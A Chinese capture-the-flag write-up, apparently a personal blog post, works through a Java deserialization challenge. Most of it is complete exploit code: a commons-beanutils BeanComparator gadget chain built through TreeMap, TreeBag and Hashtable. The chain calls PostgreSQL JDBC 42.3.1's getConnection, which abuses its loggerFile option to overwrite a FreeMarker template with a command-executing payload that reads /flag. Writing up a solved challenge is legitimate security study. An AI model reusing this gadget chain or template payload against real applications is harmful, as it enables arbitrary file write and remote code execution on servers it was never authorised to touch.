考点
CB的 compare调用任意getter方法
hashmap活着treebag拼接CB#compare方法
postgrasql任意写入文件
postgresql 42.3.1
commons-beanutils 1.9.3
commons-collections-3.2.2.jar
freemarker-2.3.32.jar
目标是调用调用这个getConnection方法即可, 到那时jackson、fastjson都没了,不能调用getter方法
当时是找到了这个类,调用
web3提示:
1: 多看看org.postgresql.ds.commo.BaseDataSource这个类呢?
当时的想法就是调用这个类,但是这个this.getUrl()
不可控
因为有CC和CB的依赖,CB的compare可以任意调用某个类的getter方法
本来以为就是这个思路,但是后面和师傅们交流的时候,被指出url不可控也就不能触发postgrasql远程执行xml那个了,当时也就到这了
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.postgresql.ds.common.BaseDataSource;
import javax.management.remote.rmi.RMIConnector;
import java.lang.reflect.InvocationTargetException;
import java.sql.DriverManager;
public class payloda {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
String url = new BaseDataSource() {
@Override
public String getDescription() {
return null;
}
}.getUrl();
System.out.println(url);
BaseDataSource baseDataSource = new BaseDataSource() {
@Override
public String getDescription() {
return null;
}
};
// org.postgresql.ds.commo.BaseDataSource
PropertyUtils aa=new PropertyUtils();
aa.getProperty(baseDataSource,"connection"); //这里是可以调用到的
}
}
红色框中的是BeanComparator#compare
看了B神的讲解分析,但是为啥我tabby没有找到呢?语法问题嘛?
这里过滤了我们常见的链子,然后题目给的jdk环境是8u312,是高版本的jdk,那么jndi和rmi方面的就不要想了。所以思路就是给cb断链接上,compare方法还是很多的,熟悉一点的应该就该想起TreeMap/Bag套餐了。
TreeBag的readObject逻辑如下
发现自己当初想这道题的本质都错了,首先题目是不出网的,而我想的远程执行xml那个漏洞,需要题目能访问到那个文件
所以这就错了,这道题用的是另外一个漏洞 logger任意文件写入
先写一个专门的文章复现CVE(见PostGrasql分析)
postgresql 42.3.1 版本是低版本,任意命令执行和任意文件写入都是可以的
这里的geturl()就是对我们赋值的一个拼接操作,。。。当初想错了,所以这道题是因为不出网才用的这个logger覆盖,如果出网就不是了
import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.*;
public class aaa {
public static String string;
public static void main(String[] args) throws Exception {
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
//设置扩展参数
PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");
pgSimpleDataSource.setServerNames(new String[]{shellContent});
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "property", "connection");
HashMap gadgetHashMap = new HashMap();
gadgetHashMap.put(pgSimpleDataSource, null);
TreeMap treeMap = makeTreeMap(beanComparator);
HashMap hashMap1 = new HashMap();
hashMap1.put("AaAaAa", treeMap);
hashMap1.put("BBAaBB", gadgetHashMap);
HashMap hashMap2 = new HashMap();
hashMap2.put("AaAaAa", gadgetHashMap);
hashMap2.put("BBAaBB", treeMap);
Hashtable table = new Hashtable();
setFieldValue(table, "count", 2);
Class nodeC = Class.forName("java.util.Hashtable$Entry");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
setFieldValue(table, "table", tbl);
base64serial(table);
deserTester();
}
public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
TreeMap treeMap = new TreeMap(beanComparator);
setFieldValue(treeMap, "size", 1);
setFieldValue(treeMap, "modCount", 1);
Class EntryC = Class.forName("java.util.TreeMap$Entry");
Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
EntryCons.setAccessible(true);
setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));
return treeMap;
}
public static void setFieldValue(Object obj,String name,Object o2) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(name);
declaredField.setAccessible(true);
declaredField.set(obj,o2);
}
public static String base64serial(Object o) throws IOException, NoSuchFieldException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
string = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(string);
return string;
}
public static void deserTester() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
发现覆盖成功直接访问主页,渲染一下即可,JYCXK是我设置的flag
另一种调用CB#compare的方法
TreeMap/Bag套餐了。
public class Demo {
@Test
public void test() throws Exception {
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "/app/templates/index.ftl";
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
System.out.println(shellContent);
String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});
BeanComparator comparator = new BeanComparator();
SerializeUtils.setFieldValue(comparator, "property", "connection");
TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
SerializeUtils.setFieldValue(m, "size", 2);
SerializeUtils.setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
SerializeUtils.setFieldValue(node, "right", right);
SerializeUtils.setFieldValue(m, "root", node);
SerializeUtils.setFieldValue(m, "comparator", comparator);
SerializeUtils.setFieldValue(treeBag,"map",m);
System.out.println(SerializeUtils.base64serial(treeBag));
SerializeUtils.deserTester(treeBag);
}
}
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。